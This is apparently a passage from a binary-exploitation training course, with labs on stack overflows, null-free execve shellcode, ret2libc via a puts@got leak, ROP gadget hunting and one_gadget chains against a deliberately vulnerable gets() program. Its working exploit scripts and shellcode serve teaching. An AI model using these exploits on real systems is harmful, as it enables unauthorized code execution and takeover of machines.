The Problem:
Normal execution: GDB execution: Different terminal:
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ env vars (big) │ │ env vars + GDB │ │ different env │
│ PWD=/long/path │ │ extra vars │ │ COLUMNS=120 │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ argv, argc │ │ argv, argc │ │ argv, argc │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ Stack │ │ Stack │ │ Stack │
│ buffer @ 0xABC │ │ buffer @ 0xA00 │ │ buffer @ 0xB00 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
↑ Different addresses due to env var size!
Solution: Force Consistent Environment:
# Method 1: Clear all environment variables
env -i ./exploit
# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit
# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={}) # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})
# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})
The "It Works on My Machine" Checklist
process() typically uses PTY (unbuffered).nc or sockets are often fully buffered or line-buffered.p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.p.recv() is dangerous—it returns some data, not all data.p.clean() removes unread data (useful before sending payload).p.sendline() adds \n. Ensure target expects \n and not just raw bytes.env vars than your GDB session.0x7ffffff...).GDB Environment Matching:
# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env # Verify minimal environment
(gdb) run
# Or start GDB with clean environment
env -i gdb -q ./vuln
pwntools Best Practice for Learning:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./vuln')
# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})
# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln') # Real-world: ASLR enabled
Verification:
# Compare stack addresses with different environments
env -i ./vuln # Note buffer address
./vuln # Different address!
env -i PWD=x ./vuln # Yet another address
# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack
[!WARNING] Always use
env -iorenv={}when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.
Steps:
Compile Target (AMD64):
make training-shellcode SOURCE=vuln1.c BINARY=vuln1
#gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1
#checksec --file=./vuln1
Find Offset (AMD64 uses 8-byte patterns):
pwn cyclic 200
# copy output
gdb ./vuln1
run
# paste as input
# Note the 4-byte crash value for RIP
cyclic -n 4 -l <4_byte_crash_value>
Find Stack Address (or jmp rsp gadget):
ROPgadget --binary ./vuln1 | grep "jmp rsp"
Build Exploit (AMD64):
asm(shellcraft.amd64.linux.sh()))p64())Test Exploit:
python3 exploit1.py
# Should get shell
id
whoami
Success Criteria:
Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.
Inputs from Week 4:
Task:
Success Criteria:
Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.
Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.
Task:
afl-fuzz until you get a crash.afl-tmin.Success Criteria:
afl-tmin produces a smaller reproducer that still crashesIssue 1: Segfault at wrong address
# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip
# Adjust return address in exploit
Issue 2: Shellcode not executing
# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"
# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)
Issue 3: Stack address wrong
# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled
0xdeadbeef becomes \xef\xbe\xad\xdep64() for 64-bit binaries\x00) terminate strings in strcpy. Other common bad chars: \x0a (newline), \x0d (carriage return), \x20 (space)call for some libc functions (add extra ret gadget if crashes in libc)Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.
Common Null Byte Sources:
| Instruction | Bytes | Problem | Solution |
|---|---|---|---|
mov rax, 0 | 48 c7 c0 00 00 00 00 | Immediate 0 | xor eax, eax → 31 c0 |
mov rdi, 0x68732f6e69622f | Contains nulls | String padding | Use push/mov sequences |
mov al, 59 | b0 3b | No nulls! | OK as-is |
syscall | 0f 05 | No nulls | OK as-is |
Task: Convert this null-containing shellcode to null-free:
; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
mov rax, 59 ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
mov rdi, binsh ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
mov rsi, 0 ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
mov rdx, 0 ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
syscall
section .data
binsh: db "/bin/sh", 0 ; Contains null terminator!
Solution: Null-Free Version:
; Null-free execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
; Clear registers without using immediate 0
xor eax, eax ; 31 c0 - clears RAX (zero-extends to 64-bit)
xor esi, esi ; 31 f6 - clears RSI
xor edx, edx ; 31 d2 - clears RDX
; Push "/bin/sh" onto stack (reverse order, no null in code)
; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
push rax ; Null terminator on stack
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (no embedded nulls)
push rdi
mov rdi, rsp ; RDI = pointer to "/bin//sh\0"
; Set syscall number without nulls
mov al, 59 ; b0 3b - only sets AL, RAX already 0
syscall ; 0f 05 - execute!
pwntools Verification:
# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Check for null bytes in shellcode
shellcode = asm('''
xor eax, eax
xor esi, esi
xor edx, edx
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
''')
# Verify no null bytes
if b'\x00' in shellcode:
print(f"[!] FAIL: Shellcode contains null bytes!")
print(f" Position: {shellcode.index(b'\\x00')}")
print(f" Bytes: {shellcode.hex()}")
else:
print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
print(f" {shellcode.hex()}")
# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()
Null-Byte Elimination Techniques:
| Original | Null-Free Replacement | Notes |
|---|---|---|
mov rax, 0 | xor eax, eax | Zero-extends to 64-bit |
mov rdi, 0 | xor edi, edi | Zero-extends to 64-bit |
mov rax, small_num | xor eax, eax; mov al, num | For values < 256 |
mov rax, imm64 | push imm32; pop rax | If value fits in 32-bit |
| String in .data | push string onto stack | Build string at runtime |
jmp label with null offset | Use short jumps or restructure | Relative offset issue |
Identifying Bad Characters:
#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
found = []
for i, byte in enumerate(shellcode):
if bytes([byte]) in bad_chars:
found.append((i, hex(byte)))
return found
shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
print(f"Bad characters at: {bad}")
else:
print("Shellcode is clean!")
[!TIP] Use pwntools
shellcraftwith encoders for complex shellcode:# Automatically generate null-free shellcode shellcode = asm(shellcraft.amd64.linux.sh()) # Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'
Debugging Tips:
# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)
# Run with same environment as GDB
env -i ./binary
# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core
# Trace syscalls/library calls
strace ./binary
ltrace ./binary
-z execstack required for shellcodesetarch -R or GDB, NOT system-widep64() not p32()read() instead of gets()?system() or execve() from libc to spawn a shell, just like we will do today.vuln2 built with NX enabled and verified with checksecmainlibc.address correctly computed from the leakWhat is NX?:
Enable NX for Practice (AMD64):
# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled
# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)
Concept:
libc provides useful functions (system, execve, etc.)[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!
[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.
The Real-World Pattern:
1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve
Why This Matters:
This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.
vuln2.c (Vulnerable program for leak practice):
#include <stdio.h>
#include <string.h>
// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
__asm__ volatile (
"pop %rdi; ret\n" // pop rdi; ret - for first argument
"pop %rsi; ret\n" // pop rsi; ret - for second argument
"pop %rdx; ret\n" // pop rdx; ret - for third argument
"ret\n" // ret - for stack alignment
);
}
void vulnerable() {
char buffer[64];
printf("Enter input: ");
fflush(stdout);
gets(buffer); // Vulnerable! Allows overflow and null bytes
printf("You entered: %s\n", buffer);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering for reliable I/O
puts("ROP Practice - ret2libc with leak");
vulnerable();
puts("Done!"); // Important: binary must import puts for our leak!
return 0;
}
Compile (AMD64, NX enabled):
cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled
Complete Leak-Based Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64
This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell
Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *
# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64
# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Almost always needed
ret = rop.find_gadget(['ret'])[0] # For stack alignment
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# ============ ADDRESSES ============
puts_plt = elf.plt['puts'] # PLT stub to call puts
puts_got = elf.got['puts'] # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
# ============ EXPLOIT ============
OFFSET = 72 # 64 buffer + 8 saved RBP
def exploit():
# Can run locally or switch to remote
if args.REMOTE:
p = remote('target', 1337)
else:
p = process(binary_path)
# ========== STAGE 1: LEAK LIBC ADDRESS ==========
log.info("Stage 1: Leaking libc address via puts(puts@got)")
# Wait for prompt
p.recvuntil(b'Enter input: ')
# AMD64 ROP: pop rdi loads argument, then call puts
# Stack alignment: add ret gadget if needed
stage1 = flat(
b'A' * OFFSET,
p64(ret), # Stack alignment (16-byte before call)
p64(pop_rdi), # pop rdi; ret
p64(puts_got), # RDI = puts@got (address to leak)
p64(puts_plt), # Call puts(puts@got) - prints libc address!
p64(main_addr), # Return to main for stage 2
)
p.sendline(stage1)
# Parse the leak
# Our ROP chain: puts(puts@got) → main, so output is:
# "You entered: [overflow]\n[LEAKED_ADDR]\nROP Practice..."
# Skip until after our payload echo, then read leaked address line
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n') # Skip to end of "You entered" line
# Read leaked bytes - puts adds a newline, so read until that newline
leaked_bytes = p.recvline().strip() # Remove trailing newline from puts
# Handle the leak (puts stops at null bytes, pad if needed)
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")
# ========== COMPUTE LIBC BASE ==========
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"Calculated libc base: {hex(libc.address)}")
# Verify libc base looks reasonable (should end in 000 due to page alignment)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
# ========== STAGE 2: ONE_GADGET APPROACH ==========
# Modern libc lacks clean pop rdx gadgets, so we use one_gadget
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Constraints vary - try each until one works
log.info("Stage 2: Using one_gadget")
# One_gadget offsets - UPDATE THESE for your libc version!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadgets = [
0xef4ce, # execve("/bin/sh", rbp-0x50, r12) - needs rbx=0, r12=0
0xef52b, # execve("/bin/sh", rbp-0x50, [rbp-0x78]) - needs rax=0
0x583ec, # posix_spawn constraints
0x583f3, # posix_spawn constraints
]
# Try the second one_gadget (0xef52b) - needs rax=NULL
# If first doesn't work, try index 1, 2, 3...
one_gadget = libc.address + one_gadgets[1]
log.info(f"one_gadget @ {hex(one_gadget)}")
# Wait for prompt (program returned to main, runs vulnerable() again)
p.recvuntil(b'Enter input: ')
# For one_gadget, we need valid RBP (rbp-0x50 must be writable)
# Our overflow corrupted RBP to 0x4141...
# Fix: set RBP to a writable address (like stack) before one_gadget
libc_rop = ROP(libc)
# Find gadgets
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret'])
pop_r12 = libc_rop.find_gadget(['pop r12', 'ret'])
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
# Use a writable address for RBP - use a known writable section
# .bss section in the binary is always writable
writable_addr = elf.bss() + 0x200 # Some offset into .bss
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP to point to writable memory (CRITICAL for one_gadget!)
if pop_rbp:
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # rbp = writable addr + margin
# Set rax = 0 (for one_gadget constraints)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # rax = NULL
# Set rbx = 0 and r12 = 0 (for other one_gadget constraints)
if pop_rbx:
stage2 += p64(pop_rbx[0])
stage2 += p64(0) # rbx = NULL
if pop_r12:
stage2 += p64(pop_r12[0])
stage2 += p64(0) # r12 = NULL
log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}")
stage2 += p64(one_gadget) # Jump to one_gadget
p.sendline(stage2)
# Got shell!
log.success("Shell incoming!")
p.interactive()
if __name__ == '__main__':
exploit()
Key Points:
p.libs() in final exploits - it only works locally for debuggingcall; add ret gadgetrbp-0xXX writablesystem() may fail, use one_gadget instead[!CAUTION] AMD64 Failure Mode: If your exploit crashes with SIGSEGV inside libc (e.g., in
movapsinstruction), you have a stack alignment problem. The stack must be 16-byte aligned before anycallinstruction.
The Problem:
The Fix - Always Include ret Gadget:
# WRONG - may crash in libc due to misalignment
payload = flat(
b'A' * offset,
p64(pop_rdi),
p64(binsh),
p64(system), # Crashes with movaps SIGSEGV!
)
# CORRECT - ret gadget aligns stack
ret = rop.find_gadget(['ret'])[0]
payload = flat(
b'A' * offset,
p64(ret), # ← Stack alignment fix!
p64(pop_rdi),
p64(binsh),
p64(system), # Works on older libc!
)
[!WARNING] Modern libc (glibc 2.34+) has Intel CET enabled! Even with correct alignment,
system()may still crash due to Shadow Stack (SHSTK) and Indirect Branch Tracking (IBT). Check withchecksec: ifSHSTK: EnabledandIBT: Enabled, use one_gadget instead.
When Alignment Isn't Enough (CET):
# If system() crashes even with alignment, check for CET:
# checksec /lib/x86_64-linux-gnu/libc.so.6
# Shows: SHSTK: Enabled, IBT: Enabled
# Solution: Use one_gadget with RBP fix instead of system()
one_gadget = libc.address + 0xef52b # From: one_gadget /path/to/libc.so.6
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
payload = flat(
b'A' * offset,
p64(ret), # Stack alignment
p64(pop_rbp[0]),
p64(elf.bss() + 0x280), # Fix RBP for one_gadget constraints
p64(one_gadget), # Bypasses CET!
)
Debugging Alignment Issues:
# In GDB, when you hit the crash:
pwndbg> x/i $rip
# If you see: movaps xmmword ptr [rsp+0x50], xmm0
# This is an alignment issue!
pwndbg> p/x $rsp
# Check if RSP ends in 0 or 8
# Before call: should end in 0 (16-byte aligned)
# After call: ends in 8 (return addr pushed)
# ============================================================
# EXERCISE: "Break It, Fix It" (The Movaps Trap)
# ============================================================
# 1. Create a ROP chain that calls system("/bin/sh") WITHOUT a ret gadget.
# payload = flat(b'A'*offset, pop_rdi, binsh, system)
# 2. Run it inside GDB. It will crash.
# 3. Inspect the crash:
# (gdb) x/i $rip
# => movaps xmmword ptr [rsp+0x40], xmm0
# 4. Check stack alignment:
# (gdb) p/x $rsp
# Result ends in 0x8? That's the bug.
# 5. Fix it:
# payload = flat(b'A'*offset, ret, pop_rdi, binsh, system)
# (gdb) p/x $rsp (at system entry) -> Now ends in 0x0. Success.
# ============================================================
# If aligned but still crashes - check for CET:
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK/IBT enabled = use one_gadget instead
[!WARNING]
p.libs()only works for local debugging. Never use it in exploits targeting remote systems! Always use the leak pattern.
#!/usr/bin/env python3
#~/exploit/10.py
"""
Address finding for LOCAL DEBUGGING ONLY
DO NOT use p.libs() in real exploits - it doesn't work remotely!
"""
from pwn import *
elf = context.binary = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# LOCAL DEBUGGING ONLY - shows where libc is loaded in THIS process
p = process('./vuln2', aslr=False, env={})
# Get libc base from process maps (LOCAL ONLY!)
# NOTE: libc.path may not match p.libs() keys due to symlinks
# Search for 'libc' in the library paths instead
libs = p.libs()
libc_path = [path for path in libs.keys() if 'libc' in path][0]
libc_base = libs[libc_path]
libc.address = libc_base
log.warning("Using p.libs() - THIS ONLY WORKS LOCALLY!")
log.info(f"Local libc base: {hex(libc.address)}")
log.info(f"Local system(): {hex(libc.symbols['system'])}")
# Find useful addresses for debugging
binsh = next(libc.search(b'/bin/sh\x00'))
log.info(f"/bin/sh string: {hex(binsh)}")
# For one_gadget debugging - verify offsets work with your libc
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget_offsets = [0xef4ce, 0xef52b, 0x583ec, 0x583f3] # UPDATE for your libc!
for i, offset in enumerate(one_gadget_offsets):
log.info(f"one_gadget[{i}]: {hex(libc.address + offset)}")
# Writable address for RBP fix (one_gadget needs rbp-0x50 writable)
writable = elf.bss() + 0x200
log.info(f"Writable .bss for RBP: {hex(writable)}")
# In a real exploit, you would LEAK an address instead:
# leaked = ... (from ROP chain)
# libc.address = leaked - libc.symbols['puts']
Finding one_gadget Offsets:
# Install one_gadget (Ruby gem)
gem install one_gadget
# Find gadgets for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output:
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x50 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# Copy the offsets to your exploit and try each one
# Remember: set RBP to writable address before calling!
Identifying Your Libc Version:
# Check libc version
ldd --version
# Or:
/lib/x86_64-linux-gnu/libc.so.6
# Get libc build ID (for libc database lookups)
file /lib/x86_64-linux-gnu/libc.so.6
# Or:
readelf -n /lib/x86_64-linux-gnu/libc.so.6 | grep "Build ID"
# Check for CET (determines if system() ROP will work)
checksec --file=/lib/x86_64-linux-gnu/libc.so.6
# SHSTK: Enabled, IBT: Enabled = use one_gadget instead of system()
What is ROP?:
retAMD64 ROP Basics:
Unlike x86 where you push arguments to the stack, AMD64 passes arguments in registers.
This means you need gadgets like pop rdi; ret to load arguments!
Essential AMD64 Gadgets:
| Gadget | Purpose | Usage |
|---|---|---|
pop rdi; ret | Load 1st argument | Almost always needed! |
pop rsi; ret | Load 2nd argument | For two-arg functions |
pop rdx; ret | Load 3rd argument | Rare in modern libc! Use one_gadget |
pop rbp; ret | Fix RBP for one_gadget | Critical for one_gadget! |
pop rax; ret | Set RAX (syscall #) | For one_gadget constraints |
ret | Stack alignment / pivot | Fix 16-byte alignment |
[!NOTE] Modern libc (glibc 2.34+) lacks clean
pop rdx; retgadgets and has CET enabled. Traditionalsystem("/bin/sh")ROP often fails. Use one_gadget instead!
Simple AMD64 ROP Example (Traditional - may fail on modern libc):
Goal: Call system("/bin/sh") - works on older libc without CET
AMD64 calling convention:
- RDI = first argument = address of "/bin/sh"
- Then call system()
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack (optional)
├─────────────────┤
│ pop rdi; ret │ → gadget address
├─────────────────┤
│ &"/bin/sh" │ → value popped into RDI
├─────────────────┤
│ &system │ → called with RDI = "/bin/sh"
└─────────────────┘
Modern AMD64 ROP Example (one_gadget - works on glibc 2.34+):
Goal: Call one_gadget (execve("/bin/sh", ...)) - works on modern libc with CET
Requirements:
- RBP = writable address (one_gadget needs rbp-0x50 writable)
- RAX = 0 (some one_gadgets require this)
Stack layout (after overflow):
┌─────────────────┐
│ ret gadget │ → align stack
├─────────────────┤
│ pop rbp; ret │ → from libc
├─────────────────┤
│ .bss + 0x280 │ → writable address for RBP
├─────────────────┤
│ pop rax; ret │ → from libc (optional, for constraints)
├─────────────────┤
│ 0x0 │ → RAX = NULL
├─────────────────┤
│ one_gadget │ → libc.address + offset → shell!
└─────────────────┘
Master manual gadget hunting before relying on tools—it builds intuition for what's possible.
# Why manual first? Because:
# 1. Tools miss "unaligned" gadgets
# 2. Understanding binary structure helps debugging
# 3. Sometimes you need a specific gadget tools don't flag
# Step 1: Disassemble the binary
objdump -d -M intel vuln2 > disasm.txt
# Step 2: Search for 'ret' instructions (opcode: 0xc3)
grep -n "ret" disasm.txt
# Step 3: Look backwards from each 'ret' for useful sequences
# Example output (AMD64):
# 401234: 5f pop rdi
# 401235: c3 ret
# This is a "pop rdi; ret" gadget at 0x401234
# Step 4: Search for specific patterns
grep -B2 "ret" disasm.txt | grep "pop"
# AMD64: Search for syscall instruction
objdump -d vuln2 | grep "syscall"
Common AMD64 Gadget Byte Patterns:
| Gadget Type | Byte Sequence | Instruction |
|---|---|---|
pop rdi; ret | 5f c3 | Load RDI (arg 1) |
pop rsi; ret | 5e c3 | Load RSI (arg 2) |
pop rdx; ret | 5a c3 | Load RDX (arg 3) - rare! |
pop rcx; ret | 59 c3 | Load RCX (arg 4) |
pop rax; ret | 58 c3 | Load RAX (for one_gadget) |
pop rbp; ret | 5d c3 | Fix RBP for one_gadget! |
ret | c3 | Stack alignment |
syscall | 0f 05 | Syscall (AMD64) |
pop rsi; pop r15; ret | 5e 41 5f c3 | Common in __libc_csu_init |
[!WARNING]
pop rdx; retis rare in modern libc! You'll often findpop rdx; pop rbx; retor similar multi-pop variants. This breaks simpleexecve(path, NULL, NULL)chains. Use one_gadget instead of manually building execve calls.
Using GDB/pwndbg for Gadget Search:
# In pwndbg:
pwndbg> rop --grep "pop rdi" # Find pop rdi gadgets
pwndbg> rop --grep "pop rsi" # Find pop rsi gadgets
pwndbg> rop --grep "syscall" # Find syscall gadgets
# Or search for byte patterns
pwndbg> search -x "5fc3" # Search for pop rdi; ret bytes
# ROPgadget (most popular)
ROPgadget --binary vuln2
# Find specific gadgets (AMD64)
ROPgadget --binary vuln2 --only "pop|ret"
ROPgadget --binary vuln2 | grep "pop rdi"
ROPgadget --binary vuln2 | grep "pop rsi"
# Filter gadgets with bad characters
ROPgadget --binary vuln2 --badbytes "00|0a|0d"
# Include libc gadgets (many more available!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi" | head
# CRITICAL for one_gadget: find pop rbp and pop rax in libc
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rbp ; ret"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rax ; ret"
# Check if pop rdx exists (often missing or has extra pops!)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ": pop rdx ;" | head
# You'll likely see: "pop rdx ; pop rbx ; ret" (not clean pop rdx ; ret)
# ropper (alternative tool with better search)
ropper -f vuln2 --search "pop rdi"
ropper -f vuln2 --chain execve # May fail on modern libc!
# one_gadget (find "magic" shell gadgets in libc)
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Returns addresses in libc that spawn shell with minimal setup
# WARNING: Constraints are strict in modern glibc!
# ALWAYS check constraints and fix RBP before calling!
Gadget Priority for Modern Libc Exploitation:
pop rdi; ret - for leak stage (from binary, not libc)ret - for stack alignment (from binary)pop rbp; ret - CRITICAL for one_gadget RBP fix (from libc)pop rax; ret - for one_gadget RAX=0 constraint (from libc)pop rbx; ret / pop r12; ret - for other one_gadget constraints (from libc)[!CAUTION] Modern glibc one_gadgets have strict constraints! Buffer overflows corrupt RBP with your padding bytes (
0x4141414141414141), but one_gadgets often requirerbp-0xXXto be a writable address. This causes SIGBUS/SIGSEGV crashes.
Common one_gadget constraints:
# Example output from: one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x50 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable ← RBP must be valid!
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
The Problem: After buffer overflow, RBP = 0x4141414141414141 (A's).
So rbp-0x50 = invalid address → SIGBUS when one_gadget tries to access it!
The Solution: Set RBP to a writable address before calling one_gadget:
# Find gadgets from libc
libc_rop = ROP(libc)
pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret'])
pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])
# Use .bss section (always writable) for RBP
writable_addr = elf.bss() + 0x200
stage2 = b'A' * OFFSET
stage2 += p64(ret) # Stack alignment
# Fix RBP FIRST (before one_gadget)
stage2 += p64(pop_rbp[0])
stage2 += p64(writable_addr + 0x80) # RBP = valid writable address
# Then satisfy other constraints (rax=0 for many one_gadgets)
if pop_rax:
stage2 += p64(pop_rax[0])
stage2 += p64(0) # RAX = NULL
stage2 += p64(one_gadget) # Now one_gadget works!
One_Gadget Troubleshooting:
| Symptom | Cause | Fix |
|---|---|---|
| SIGBUS at one_gadget | RBP points to invalid memory | Set RBP to .bss or stack before calling |
| SIGSEGV in one_gadget | Register constraints not met | Try different one_gadget, set rax/rbx/r12=0 |
| one_gadget exists but no shell | Wrong libc version | Verify libc, recalculate offsets |
| All one_gadgets fail | Constraints too strict | Fall back to ROP execve syscall |
Why system() Fails on Modern Libc:
Modern glibc (2.34+) enables Intel CET (Control-flow Enforcement Technology):
checksec shows: SHSTK: Enabled, IBT: Enabled
This makes traditional system("/bin/sh") ROP chains crash. Solutions:
execve syscall (bypasses libc CET checks)gcc -fcf-protection=noneGadget Quality Checklist:
ret)?[!IMPORTANT] ROP Chain Timing: You must set
libc.addressBEFORE building the ROP chain! Don't createROP([elf, libc])until you've computed the libc base from a leak.
Correct ROP Workflow (Modern Libc with one_gadget):
#!/usr/bin/env python3
#~/exploit/11.py
"""
Correct ROP chain sequencing for modern libc (glibc 2.34+)
Key insights:
1. Leak → set libc.address → THEN build stage 2
2. Use one_gadget instead of system() (CET bypass)
3. Fix RBP before calling one_gadget (buffer overflow corrupts it)
"""
from pwn import *
elf = ELF('./vuln2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
# One_gadget offsets - UPDATE for your libc!
# Run: one_gadget /lib/x86_64-linux-gnu/libc.so.6
ONE_GADGETS = [0xef4ce, 0xef52b, 0x583ec, 0x583f3]
OFFSET = 72 # buffer (64) + saved RBP (8)
# ======= STAGE 1: LEAK =======
# Build leak ROP using ONLY elf gadgets (libc base unknown!)
rop1 = ROP(elf) # Only elf, not libc!
pop_rdi = rop1.find_gadget(['pop rdi', 'ret'])[0]
ret = rop1.find_gadget(['ret'])[0]
# Leak puts@got
stage1 = flat(
b'A' * OFFSET,
p64(ret),
p64(pop_rdi),
p64(elf.got['puts']),
p64(elf.plt['puts']),
p64(elf.symbols['main']),
)
p = process('./vuln2', aslr=False, env={})
p.recvuntil(b'Enter input: ')
p.sendline(stage1)
# Parse leak (adjust for your binary's output format)
p.recvuntil(b'You entered: ')
p.recvuntil(b'\n')
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
# ======= SET LIBC BASE (Critical!) =======
libc.address = leaked_puts - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
# Verify alignment (should end in 000)
if libc.address & 0xfff != 0:
log.warning("Libc base not page-aligned - leak may be wrong!")
